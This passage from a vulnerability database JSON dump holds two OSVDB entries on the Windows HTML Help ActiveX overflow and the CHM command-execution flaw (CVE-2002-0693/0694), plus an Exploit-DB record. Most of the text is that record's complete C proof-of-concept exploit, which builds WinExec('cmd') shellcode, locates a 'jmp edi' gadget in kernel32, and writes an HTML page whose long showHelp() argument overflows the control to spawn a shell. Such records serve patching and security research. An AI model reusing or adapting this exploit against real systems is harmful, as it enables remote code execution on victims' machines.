vulnerability.\n\n## Short Description\nMicrosoft Windows HTML Help ActiveX Control contains a flaw that allows remote attackers to execute arbitrary code. The flaw occurs due to an unchecked buffer in the hhctrl.ocx file. This can be exploited by using a long parameter to the \"Alink\" function or a script containing a long argument to the \"showHelp\" function.\n\n## References:\nVendor Specific Solution URL: http://www.microsoft.com/Downloads/Release.asp?ReleaseID=40213\nMicrosoft Security Bulletin: MS02-055\nMail List Post: http://marc.theaimsgroup.com/?l=bugtraq&m=103419115517344&w=2\nISS X-Force ID: 10253\n[CVE-2002-0693](https://vulners.com/cve/CVE-2002-0693)\nBugtraq ID: 5874\n", "modified": "2002-10-03T00:00:00", "published": "2002-10-03T00:00:00", "href": "https://vulners.com/osvdb/OSVDB:2992", "id": "OSVDB:2992", "title": "Microsoft IE HTML Help ActiveX Control alink and showHelp Overflow", "type": "osvdb", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:19:55", "bulletinFamily": "software", "description": "# No description provided by the source\n\n## References:\nOVAL ID: 403\nMicrosoft Security Bulletin: MS02-055\nMicrosoft Knowledge Base Article: 323255\nKeyword: aka \"Code Execution via Compiled HTML Help File\" \nISS X-Force ID: 10254\n[CVE-2002-0694](https://vulners.com/cve/CVE-2002-0694)\nCIAC Advisory: n-002\n", "modified": "2002-10-02T00:00:00", "published": "2002-10-02T00:00:00", "href": "https://vulners.com/osvdb/OSVDB:867", "id": "OSVDB:867", "title": "Microsoft Windows Compiled HTML Help (.chm) Arbitrary Command Execution", "type": "osvdb", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}], "exploitdb": [{"lastseen": "2016-02-02T17:32:14", "bulletinFamily": "exploit", "description": "MS Windows XP/2000/NT 4 Help Facility ActiveX Control Buffer Overflow. CVE-2002-0693. Remote exploit for windows platform", "modified": "2002-10-07T00:00:00", "published": "2002-10-07T00:00:00", "id": "EDB-ID:21902", "href": "https://www.exploit-db.com/exploits/21902/", "type": "exploitdb", "title": "Microsoft Windows 2000/XP/NT 4 - Help Facility ActiveX Control Buffer Overflow", "sourceData": "source: http://www.securityfocus.com/bid/5874/info\r\n\r\nThe ActiveX control that provides much of the functionality for the Windows Help Center contains an unchecked buffer. Successful exploitation could result in execution of arbitrary code in the security context of the current user.\r\n\r\n/*\r\nBy ipxodi@whitecell.org 10.07.2002\r\n\r\nprove of concept code of Windows Help buffer overflow.\r\nBug discovered by \r\nFor tech detail see \"Thor Larholm security advisory TL#004\".\r\nTo Use:\r\ncl ex.c\r\nRun as:\r\nex > ex.htm\r\nstart ex.htm (be sure to set iexplore as your default htm viewer.)\r\nYou will get a cmd shell.\r\n\r\nTested on IE 5.5, IE5.5 SP2, IE 6.0.\r\nother version untested.\r\n*/\r\n\r\n#include <windows.h>\r\n#include <stdio.h>\r\n\r\n\r\nchar shellcode[] = \"\\x55\\x8B\\xEC\\x33\\xFF\\x57\\xC6\\x45\\xFC\\x63\\xC6\\x45\\xFD\\x6D\\xC6\\x45\\xFE\\x64\\x57\\xC6\\x45\\xF8\\x03\" \"\\x80\\x6D\\xF8\\x50\" \r\n\t\t\"\\x8D\\x45\\xFC\\x50\\x90\\xB8\" \"EXEC\" \"\\xFF\\xD0\\x33\\xC0\\x50\\x90\\xB8\" \"EXIT\" \"\\xFF\\xD0\\xC3\";\r\n\r\nchar shellcode_encode[] = \"\\x55\\x8B\\xEC\\x33\\xFF\\x57\\xC6\\x45\\xFC\\x63\\xC6\\x45\\xFD\\x6D\\xC6\\x45\\xFE\\x64\\x57\\xC6\\x45\\xF8\\x53\" \"\\x80\\x6D\\xF8\\x50\" \r\n\t\t\"\\x8D\\x45\\xFC\\x50\\x90\\xB8\" \"EXEC\" \"\\x2C\\x78\" \"\\xFF\\xD0\" \"\\x41\\x33\\xC0\\x50\\x90\\xB8\"\"EXIT\" \"\\x2C\\x78\" \"\\xFF\\xD0\\xC3\";\r\n\r\nvoid EncodeFuncAddr(char * shellcode,DWORD addr,char * pattern)\r\n{\r\n\tunsigned char * p ;\r\n\tp = strstr(shellcode,pattern);\r\n\tif(p)\t{\r\n\t\tif( *(p+4) == '\\xFF' )\t\r\n\t\t\tmemcpy(p,&addr,4);\r\n\t\telse {\r\n\t\t\tif((addr & 0xFF) > 0x80)\t{\r\n\t\t\t\tmemcpy(p,&addr,4);\t\r\n\t\t\t\t*(p+4) = 0x90;\r\n\t\t\t\t*(p+5) = 0x90;\r\n\t\t\t}else\t{\r\n\t\t\t\taddr += 0x78;\r\n\t\t\t\tmemcpy(p,&addr,4);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}\r\n\r\nint ModifyFuncAddr(char * shellcode)\r\n{\r\n\tchar * temp=\"0123456789ABCDEF\";\r\n\tHMODULE hdl;\r\n\tunsigned char * p ;\r\n\tDWORD pAddr_WinExec ,pAddr_Exit ;\r\n\r\n\thdl = LoadLibrary(\"kernel32.dll\");\r\n\tpAddr_WinExec = GetProcAddress(hdl,\"WinExec\");\r\n\tpAddr_Exit = GetProcAddress(hdl,\"ExitProcess\"); \r\n\tfprintf(stderr,\"Find WinExec at Address %x, ExitProcess at Address %x\\n\",pAddr_WinExec,pAddr_Exit);\r\n\tEncodeFuncAddr(shellcode,pAddr_WinExec,\"EXEC\");\r\n\tEncodeFuncAddr(shellcode,pAddr_Exit,\"EXIT\");\r\n}\r\n\r\n\r\nvoid Validate(char * shellcode)\r\n{\r\n\tunsigned char *p, *foo = \"\\\\\\/:*?\\\"<>|\";\r\n\tfor(;*foo;foo++)\t{\r\n\t\tp = strchr(shellcode,*foo);\r\n\t\tif(p)\t{\r\n\t\t\tfprintf(stderr,\"ERROR:ShellCode Contains Invalid Char For File name: %s\\n\",p);\r\n\t\t}\r\n\t}\r\n}\r\n\r\n#define Valid(c)\t(c>0x30)\r\nint FindCode(char * code)\r\n{\r\n\tDWORD addr;\r\n\tunsigned char * p = (unsigned char * )LoadLibrary(\"kernel32.dll\");\r\n\r\n\tfor(;p < 0x77f00000;p++)\r\n\t\tif(memcmp(p,code,2)==0)\t{\r\n\t\t\tfprintf(stderr,\"Find Code at Address %x\\n\",p);\r\n\t\t\taddr = (DWORD) p;\r\n\t\t\tif( (addr &0xFF )>0x30 && ((addr>>8)&0xFF)>0x30&& ((addr>>16)&0xFF)>0x30 && ((addr>>24)&0xFF)>0x30 )\r\n\t\t\t\treturn p;\r\n\t\t}\r\n\treturn 0;\r\n}\r\nint main(int argc, char ** argv)\r\n{\r\n\tchar * prefix = \"<script type=\\\"text/javascript\\\">showHelp(\\\"\";\r\n\tchar *postfix = \"\\\");</script>\";\r\n\tchar buff[1024];\r\n\tint mode = 2;\r\n\tchar * pCode = buff, *shell;\r\n\tDWORD addr;\r\n\tint offset = 784;\r\n\t\r\n\tif(argc > 3 )\t{\r\n\t\tprintf(\"Usage: %s [mode] [offset]\",argv[0]);\r\n\t\tprintf(\"Normal: %s 1 784\",argv[0]);\r\n\t\tprintf(\"Advanc: %s 2 784\",argv[0]);\r\n\t\texit(0);\r\n\t}else if(argc == 3 )\t{\r\n\t\toffset = atoi(argv[2]);\r\n\t\tmode = atoi(argv[1]);\r\n\t};\r\n\tfprintf(stderr,\"Mode %d, Using Offset %d\\n\",mode,offset);\r\n\tmemset(buff,0x41,1023);\r\n\t\r\n\tmemcpy(pCode, \"A:\\\\\\xC0\",4);\t//cmp al,al as a nop.\r\n\t\r\n\tswitch(mode)\t{\r\n\t\tcase 1: shell = shellcode; break;\r\n\t\tcase 2: shell = shellcode_encode;break;\r\n\t\tcase 3: {\r\n\t\t\t\tsprintf(buff +offset, \"abcd\");\r\n\t\t\t\tprintf(\"%s%s%s\",prefix,buff,postfix);\r\n\t\t\t\treturn ;\r\n\t\t\t\t}\r\n\t}\r\n\tModifyFuncAddr(shell);\r\n\tValidate(shell);\r\n\tmemcpy(pCode+0x10,shell,strlen(shell));\r\n\tpCode = buff + offset;\r\n\taddr = FindCode(\"\\xFF\\xE7\");\t// jmp edi\r\n\t*(int*)pCode = addr ? addr : 0x77e79d02;\r\n\t*(pCode+4)=0;\r\n\tprintf(\"%s%s%s\",prefix,buff,postfix);\r\n}\r\n\t\r\n", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/21902/"}]}